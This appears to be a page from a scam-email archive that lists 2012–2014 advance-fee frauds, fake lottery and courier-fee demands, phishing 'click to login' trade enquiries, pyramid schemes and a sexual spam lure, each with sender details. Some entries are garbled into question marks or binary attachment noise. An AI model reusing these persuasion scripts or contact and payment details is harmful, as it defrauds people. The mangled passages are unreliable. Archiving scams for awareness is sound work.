Dear Sir, We are looking to place an order asap, kindly click to login to view sample of the product we need: Click here to view our sample Sincerely looking forward to receiving your info with price,shipment and payment terms. --  Best Regards,   Jaishree Jeyabalan Senior Executive (Business Development)   MORGAN RESOURCES (001909506-W) MEDISOURCE ENTERPRISE (001680814-U) No. 16 Jalan SB Jaya 7, Taman Perindustrian SB Jaya, 47000, Sungai Buloh, Selangor, Malaysia Attachment content - image001.png:?PNG  Óÿõ?¾ûí×ÎÖê a~÷õw_ý+?_?þüï>?ÏÛW°?;}¨y:F³?Þ9?T?»Ú]¾?XMeü?»îõQÝc£Z[F?ô?3u§Qën4?¹s??$?¸ºíú*/ðõ/?m¯y?b÷mØÝ/Gµ\-_Ñï4íþ=ÿé s|V¶Ü3ÔD?( ??Â/?1öË#o¬8EiYÉvªkä&EöH³p?**?ê ¨5ê-?%S¥ä.ÉIW"?`a?SÉJIjÒjë«åÇ.?»WþÒ0±?3"F??BÃå@?ÉKL¶ ?Ñ
Click to view scam #73871 - Sent on April 15, 2014, 8:53 am by agnusandhenk@auroville.org.in
P { MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px } P { MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px }   From: Goebel, Amy Sent: Thursday, December 19, 2013 7:32 PM Subject: Gloria Mackenzie is donating seven hundred and fifty thousand dollars to you , Contact Mrs Gloria Mackenzie On (cm_gloria@163.com)  for details  
Click to view scam #61767 - Sent on December 20, 2013, 1:55 am by agoebel@UTMB.EDU
I am Barrister Koffi Agogo , lawyer from West Africa work as a Legal Adviser for a large company operating in the distribution sector in the Province of Lome in Republic of Togo. Can you receive the transfer of $ 9.5 Million USD into your personal bank account for our mutual benefit? This money belongs to my deceased client , a national of your country. My deceased client ,his wife and their only daughter were involved in an automobile accident.Unfortunately, my late client does not have any stated next of kin who can lay claim to the fund/legacy he left behind.That is the reason why I contacted you to receive this money . If you are willing to work with me to receive this money, More information will be made known to you once i receive your response on how to put claim since you bear the same last name with him . If you are ready for deal please contact me with your private email address directly on ( agogokoffi22@hotmail.com ) Once i received your reply i will send you all the details about this transaction.Best wishesMr. Koffi AgogoContact email: agogokoffi22@hotmail.com
Click to view scam #78140 - Sent on May 18, 2014, 10:50 am by agogokoffi22@hotmail.com
????????????, ? ?????? ??????? Agogue, ? ????? ?? Agogue ?????. ?? ???? ?????, ?????? ??? ??? ??? ? ? ?? ???? ????? ?? ??????, ? ?????? ??????? ???????? ??? ??? ?????????? ?????????? $ 6500.000 ??? ?????? ?? ??????????????????? ??? ????, ? ??????? ??????????, ??? ??? ?????? ???????????? ??? ???????? ???????? ????, ???????? ??? ????? ?????? ???????? ?????????? ? ??????? ????????????????? ??????, ????? ?????? ?????????? ???????. ? ?? ????, ????? ??? ??????, ??????? ????? ??????????? ???????????, ?????? ??? ? ?????????, ?? ? ? ?????, ??? ???? ?????? ?? ?????? ????? ? ??? ?????? ????? ???? ??????? ? ?? ????? ?? ??????? ??? ???? ???????????? ??? ??????? ????????? ?????????? ??? ????????????? ????? ??????? ?????? ????, ? ?? ???? ????????????, ????? ?????? ????? ?? ?????? ?????, ??? ? ????. ?????? ?? ???????? ? ???? ?????, ??? ? ? ????????? ????? reside.l ????? ?????? ????? ????????????? ? ???? ? ????????, ?????????? ????, ????? ??? ???? ??????? ????????? ?????? ??????????? ?? ????? ??????????. ???? ?? ??????, ? ??????? ?????????? ? ??????????????????? ??? ???????, ?????????? ??? ???????? ? ?????, ?? ??????? ??????, ?? ??????????? ?????????? ?? ??? ??? ????? ??????, ?????? ??? ? ????? ?????? ?? ???????, ?? ?? ????, ???? ? ??????2 ?????? ? ???????. ? ????, ??? ?? ????? ???? ??????? ??? ???? ????? ???, ?? ?? ??????? ????, ? ?? ?????? ????????, ????, ??? ? ???? ?????? ???????, ????? ??????? ???? ??? ?????? ??????, ????? ???? ?????????. ????? ??? ??????????? ???. ?-?? ??????? Agogue
Location:2002 West Chicago Chicago, Illinois 60622 Chicago ave and Damien Inside At Counter Chicago, 606661007 Fax: (847) 23-5799 Dated 11th October, 2014 Attention Beneficiary, I acknowledge the receipt of your email so without wasting much time; I have to introduce myself to you this is last warning . I am U.s citizen working under DHL COMPANY Permanent Representative of the USA DHL WORKER for American as whole . We did received some letter from FBI and Interpol office in USA here, that your Award beneficiaries,that some so called claims coordinators has been extorting money from beneficiary's before they will agree to sign the funds release and make the funds available to you due to that regards a meeting was held on the 30th of last month to make sure that the files of your package box are being looked into and also check out, And that was when we actually found out that your package box contains the sum of $3.7million had not been deliver to your doorstep . To that effect we the DHL COMPANY here in U.S CHICAGO IL decided to help beneficiary's to deliver the sum of $3.7million to your home address without wasting anytime, You don't have to pay any other charge/fees apart from the courier charges here in USA , I want you to bear in mind that we are only trying to help you because I believe that you have been ruining with the wrong people for a longtime now and yet you have not receive your package box and note that arrangement of this consignment box have been issue Us custom and FBI advice us to secure all property in this US DHL COMPANY ,I also want to inform you that we have secure all documents to help you receive your FUNDS PACKAGE BOX without any other delays, so you don't have anything to worry about. Once again the lists of package content are: 1. ORIGINAL COPY OF INSURANCE BOND 2. USA DHL COMPANY CHICAGO IL INVITATION LETTER 3. CERTIFICATE OF CLEAR SOURCE OF FUNDS ORIGIN (Issued by Internal Revenue Board). So to enable us dispatch your package via the above stated express channels for delivery system kindly see below for the charges required for delivery, therefore we urge you to make the payment of $125.00 USD as soon as possible to avoid more increase of your delivery charge, which also serve as the courier charge, We are sending to you details with which you are to make your payment with, for the delivery charges of your parcel.Please note that all payment for this delivery should be made via (Western Union Money Transfer or Money Gram) and be advice to send the money to the correct information below and send it correctly to Ghana as the origin of your package to enable USA dhl company Chicago IL deliver to you, 1: Receiver Name: 2.Country:::: Ghana 3.City ::::/ Accra 4.: Sender's Address:::: 5: MTCN (Money Transfer Control Number): 6. Amount $125.00 USD only 7: Text Question:::: How Long 8.Text Answer.:::: Two Days (Email¨¨(mragarwalagopal1@yahoo.com); (Email¨¨(mragarwalagopal1@yahoo.com); I advise that you try your possible best to come up with the payment as soon as possible so that your consignment can leave for dispatch before 12 hours according to the agreement paper , Hope you understand? And on the receipt of your payment confirmation email,your package will be set for delivery which you will receive within 12 hours.We sincerely hope the above information is helpful to you, should you have any further queries do not hesitate to write to us. Please make sure you furnish us with your current delivery address to enable us proceed because once they confirm from Ghana that the payment is received we will deliver within 12 hours from this Chicago IL.Kindly get back to us and also with the requested information's, am going to help you complete this transaction if you want us to proceed on this matter with urgent don,t fail to send the courier charge today. Regards, http://www.themoscowtimes.com/photos/large/2011_07/2011_07_04/volkov.jpg Mr,Agarwal Agopal Managing Director. DHL Express International Chicago http://www.themoscowtimes.com/photos/large/2011_07/2011_07_04/volkov.jpg Mr,Agarwal Agopal, Managing Director. DHL Express International Chicago Mr,Agarwal Agopal
Click to view scam #95051 - Sent on October 11, 2014, 11:48 am by agopalagarwal22@gmail.com
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Click to view scam #59018 - Sent on November 26, 2013, 12:19 pm by agpseq@yahoo.com
  -------- Original Message --------                                      ???? ???? ?????????????550 ???? ??????? ? 6???????? NY? 10022 ???????? ?????????? ?? ????? ?? ???? ???? ????????? ?? ?? ?????? ???? ??? ?????? ?????????? ????? ?? ??? 880?000.00 ????? ?? ??? 2014 ???????? ???? ????.??? ????? ??? ??????? ???? ???????? ?? ???????? ???????????:?????:????? ???: 8796097JK05655?????? ????? ????? ?????? ??? ???? ?????? ?????? ????????? ??? ???? ????????? ????? ?? ????? ?????? ?????????? (sonycorporation_us@outlook.com) Trafikverket 172 90  Sundbyberg Telefon: 0771-921 921        
Click to view scam #83264 - Sent on June 29, 2014, 6:37 am by agr17@bredband.net
My name is Jeniffer, I am happy to know you, but God knows you better and he knows why he has directed me to you at this point in time so do not be afraid. I saw your contact email at ministries of commerce and foreign trade departments. I am writing this mail to you with heavy sorrow in my heart. And am contacting you because I don?t have any other option than to tell you as I was touched to open up to you, I am married to Mr.Mauller Edward who worked with Libyan embassy in London for ten years before he died in the year 2005.we were married for eleven years without a child. He died after a brief illness that lasted for only five days. & i have 8.5 million dollars to transfer to you in charity name to help poor in your place, contact me here. Sincerely. Jeniffer Mauller Edward.
Click to view scam #91113 - Sent on September 7, 2014, 3:13 am by agricultura@mail.colorado.rs.gov.br
FROM THE DESK OFMR ADAMS MENSAH.REGIONAL MANAGERAGRICULTURAL DEVELOPMENT BANKKWASHIMAN BRANCH GHANA.HELLO DEAR, My name is Adams Mensah, I am the regional manager of the Agricultural Development Bank Kwashiman branch Ghana.I got your information during my search through the Internet. I am 48years of age and married with 3 lovely kids. It may interest you to hear that I am a man of PEACE and dont want problem,but i dont know how you will feel about this because you might feel that its scam yes there are many spammers. but am telling you that this is real and you are not going to regret after doing this transaction with me. I only hope we can assist each other. But If you dont want this business offer kindly forget it as I will not contact you again. I have packaged a financial transaction that will benefit both of us,as the regional manager of the  Agricultural Development Bank; it is my duty to send in a financial report to my head office in the capital city Accra-Ghana at the end of each year. On the course of the last year 20011 end of year  report,I discovered that my branch in which I am the manager made Three million seven hundred and fifty thousand dollar which my head office are not aware of and will never be aware of. I have since place this fund on what we call SUSPENSE ACCOUNT without any beneficiary. As an officer of the bank I can not be directly connected to this money,so this informed my contacting you for us to work so that you can assist receive this money into your bank account for us to SHARE. While you will have 40% of the total fund .Note there are practically no risk involved, it will be bank to bank transfer,all I need from you is to stand claim as the original depositor of this fund who made the deposit with our branch so that my Head office can order the transfer to your designated bank account. If you accept this offer to work with me, I will appreciate it very much.As soon as I receive your response I will details you on how we can achieve it successfully.you can as well reply me through my private email at [myemails.mensah@yahoo.com] Best RegardsMR Adams Mensah
Hello, Your relative invested in a property, and suggested few of these properties for you.Access your properties here  Regards,Sandra.
Click to view scam #84102 - Sent on July 9, 2014, 8:35 am by agrilasa@ctv.es
Dear Sir/Madam,We are interested in purchasing your products and we sincerely  hope to establish a long-term business relation with your  esteemed company. Please kindly send me your latest catalog. Also, inform me about the Minimum Order Quantity, Delivery time  or FOB, and payment terms warranty.Please contact us via:   ( agrointertradesltd2012@gmail.com) Your early reply is highly appreciated.Thank You!Best Regards,______________________________ __(Purchasing Manager)Mage Trade Star Co., Ltd.Tel: +60102149434,Email: agrointertradesltd2012@gmail.com
Click to view scam #11030 - Sent on December 10, 2012, 2:56 pm by agrointertradesltd2012@gmail.com
-- Dear Sir/Madam,We are interested in purchasing your products and we sincerely  hope to establish a long-term business relation with your  esteemed company. Please kindly send me your latest catalog. Also, inform me about the Minimum Order Quantity, Delivery time  or FOB, and payment terms warranty.Please contact us via: ( agrointertradesltd@gmail.com ) Your early reply is highly appreciated. Thank You! Best Regards,______________________________(Purchasing Manager)Agro Mage Trade Star Co., Ltd.Tel: +60102149434Email: agrointertradesltd@gmail.com websites: www.megatradestar.com
Click to view scam #76845 - Sent on May 8, 2014, 7:22 pm by agrointertradesltd@gmail.com
BATCH No: 573881545-NL/2014 TICKET No: P 3502 /8707-01 Your e-mail address was attached to E-Ticket Number P 3502 /8707-01, Ref:UK/9420X2/68 and Batch: 573881545-NL/2014.subsequently won you the sum of £800,000.00 (GBP).To file for the processing of your prize sum payment, Contact Person:Mr. Well Paulson with the following information; E-mail: ukl@manager.in.th Tel: +44-7045-702-826 UK-Lotto Coordinator; Mrs Elizabeth Grethe
Click to view scam #69765 - Sent on March 12, 2014, 3:42 pm by agroquimicos@senave.gov.py
VOCE QUER PARTICIPAR DE UM NEGÓCIO SÉRIO NA INTERNET ??? ENTÃO VENHA CONOSCO!!! O PLANO DE REMUNERAÇÃO MAIS FORTE DO MERCADO COM PACOTES ACESSÍVEIS A TODOS!!! Os cadastros iniciaram segunda feira e o projeto já é um sucesso!!!  Cadastre-se no link abaixo:http://wiboo.com.br/network/usuario/cadastro/cadastro  Veja o vídeo de Apresentação:https://vimeo.com/100441621  Link da conferência às 22:00 (horário de Brasília).http://login.hotconference.net.br/conference,81464599 Entre assim: seunome ? Estado -   Evanio Agradeço Evanio  Em 12 de julho de 2014 18:09, ellen amada <titaeantonio@hotmail.com> escreveu: QUE TAL RECEBER ENXURRADA DE DEPOSITO DE 2 REAIS DIRETO NA SUA CONTA??????? NO " SISTEMA DE 2 REAIS" TI CONVIDO PRA VOCÊ CONHECER ESSE SISTEMA FANTÁSTICO! CADASTRO PRA ENTRAR: http://www.sistema2reais.com/dani
Click to view scam #84512 - Sent on July 13, 2014, 1:41 am by aguiadorio@gmail.com
Convite de Aguinaldo José Briotto de Bady Bassitt - SP   Eu já Ganhei R$ 84,00. É sério! Venha Ganhar também!   Já pensou em Ganhar Dinheiro na Internet sem investimentos e sem riscos?   Basta se Cadastrar Gratuitamente no site de Publicidade Virthuz - Anunciante Virtual.   É Grátis, sem investimentos e você já Começa Ganhando cerca de R$ 84,00 com as Promoções.   Indicando a outros você poderá Ganhar Comissões sob valores pagos em anúncios dentro de seu grupo. São 6 níveis para ganhar.   Abaixo tem o link do Youtube com o Vídeo explicativo e também o endereço do site.   >>> Assista ao Vídeo e veja os comentários de outros Afiliados que já estão Ganhando!   Youtube: http://www.youtube.com/watch?v=C8Vr71KEEfY    Também da para assistir pelo site Virthuz - Anunciante Virtual:  www.anunciantevirtual.com.br/afiliados?cod=50090 ou www.virthuz.com.br/afiliados?cod=50090     Ao se cadastrar informe meu código: 50090 * O número ao lado de cod= no link é o meu código. Ao acessar pelo link, meu código é automaticamente preenchido no formulário.  Se não ficar preenchido digite no campo Código de Afiliado 50090 que é o meu código.   Ps. Aguardo o seu Cadastro!  Aguinaldo José Briotto  Bady Bassitt - SP Aguinaldo Briotto aguinaldoj.b@aol.com
Click to view scam #66111 - Sent on February 3, 2014, 2:33 pm by aguinaldoj.b@aol.com
GREETINGS, I would like to apply through this medium for your co-operation and to use this opportunity as a spring board to invest, and do joint business with you in your country. I am a senior public officer seconded to the financial sector My interest is in investments with potentials for rapid growth in long terms. I am interested in placing part of my funds in your company, if your countrys by laws allows for foreign investment Please treat as priority and give me a feed back. Regards David Aguirre
Click to view scam #7347 - Sent on January 5, 2013, 8:42 pm by aguirredavid@gov.com
Re
-- Good day.. Why Didn't You Reply Our Last e-Mail? --
Click to view scam #79897 - Sent on May 31, 2014, 3:09 pm by agustapvc@indosat.net.id
Attention;We received the payment of ($980.000 USD)Nine Hundred and Eighty Thousand united state dollars in atm card by the Lottery commission to be sent to you through western union money transfer payment. Be informed that we are in possession of your ($980.000 USD)The amount you will be receiving per day is $5,000usd,you will receive the total sum of ($980.000 USD) within three weeks, Your fund has been inssured by the Lottery commission and is protected with issurance hard cover no money will be deducted from your fund. kindly contact us with this infomation below for YOUR MTCN, SENDER NAMES, text question and answer, if you need to pick up the first $5,000 today.Western Union Financial bankContact Person: DR DAVIS MARK.Email: (westernunion.office76@rocketmail.com )Tel:+22998520908 , +2671229 666 3Reconfirm the following information and call him now  for Security reason1) YOUR FULL NAME..............2) YOUR COUNTRY........................3) YOUR PROFESSION.....................4)YOUR TELEPHONE NUMBER........5)YOUR RECEIVING ADDRESS................I am waiting for your urgent response.Thanks and Remain Blessed.Mr Mike william.
Click to view scam #6951 - Sent on January 9, 2013, 2:07 pm by agu_eri@yahoo.cn
re:
How are you sexy? Its me Adriana you remember me from Facebook? I saw your pictures today and you're CUTE! Imagine me giving you a massage and later a bj :) you would love it. Wouldn?t you? Get dirty with me Hun. xoxo Adriana Mobile Number: 9174234752 And Find Naughty Pictures Here: http://LOCALCONNECTWEBCAM.COM
Click to view scam #91903 - Sent on September 14, 2014, 12:04 pm by agwlgqykrnxg@jmjgwvaprsgz.com
Hello Dear,     I have a very important request that make me to contact you. I am Mr. Ben Thomas, I solicit  your assistance and Guidelines in making a business investment and transfer of Twenty Million United States Dollars (US$20 Million) to your country within the Next few days. My client Late Khamis Gaddafi, the son of Late Muammar Al-Gaddafi, had a deposit of US$20 Million with EURO FINANCE LIMITED here in London.     Presently I am in United States for an official assignment but I work as a senior account officer, Offshore Mortgage & Services with Euro Finance Limited, London UK. But at this moment, I am constrained to issue more details about this profitable Business investment until I get your response by mail or telephone. This transaction is totally free of risk and troubles as the fund is legitimate and does not originate from  drug, money laundry, terrorism or any other illegal act, funds will be released to you after  necessary processes have been followed.     Please take out a moment of your very busy schedule today to respond back if you are interested; I wish for your utmost confidentiality in handling this transaction. Let me hear from you as soon as you get this message, so we can proceed. Contact me through my private email: mr.ben_thomas@yahoo.com     Looking forward to hearing from you.     Best Regards, Mr. Ben Thomas. Sen. Accounts Director.
Click to view scam #68809 - Sent on March 3, 2014, 11:21 am by AGXOAKFF@aol.jp
P { MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px } Contact us for an affordable loan,interest rate 3%. Contact us via email: harrieta.loaninvest01@gmail.com This e-mail is sent and received in terms of the Internet Usage Policy of University of Venda. In line with this policy, this e-mail is private, privileged and confidential. The full text of the Electronic Mail Disclaimer can be seen on the UNIVEN web site at http://www.univen.ac.za/Disclaimer.PDF
Click to view scam #48043 - Sent on August 10, 2013, 6:01 pm by agyapong.gyekye@univen.ac.za
Dear Sir I am a marketing consultant based in Ghana. My client is interested in establishing foreign partnership through which he can invest idle funds. He is interested in real estate or any other lucrative business of choice in your country. Are you capable of receiving and managing huge funds? If your answer is on the affirmative, and you are interested, please get in touch stating your business, amount required and your business plan. Thanks Mr. Agyeman Apiah agyemanapiah@yeah.net +233 260 75 3398
Click to view scam #53950 - Sent on October 15, 2013, 10:03 pm by agyemanapiah@yahoo.com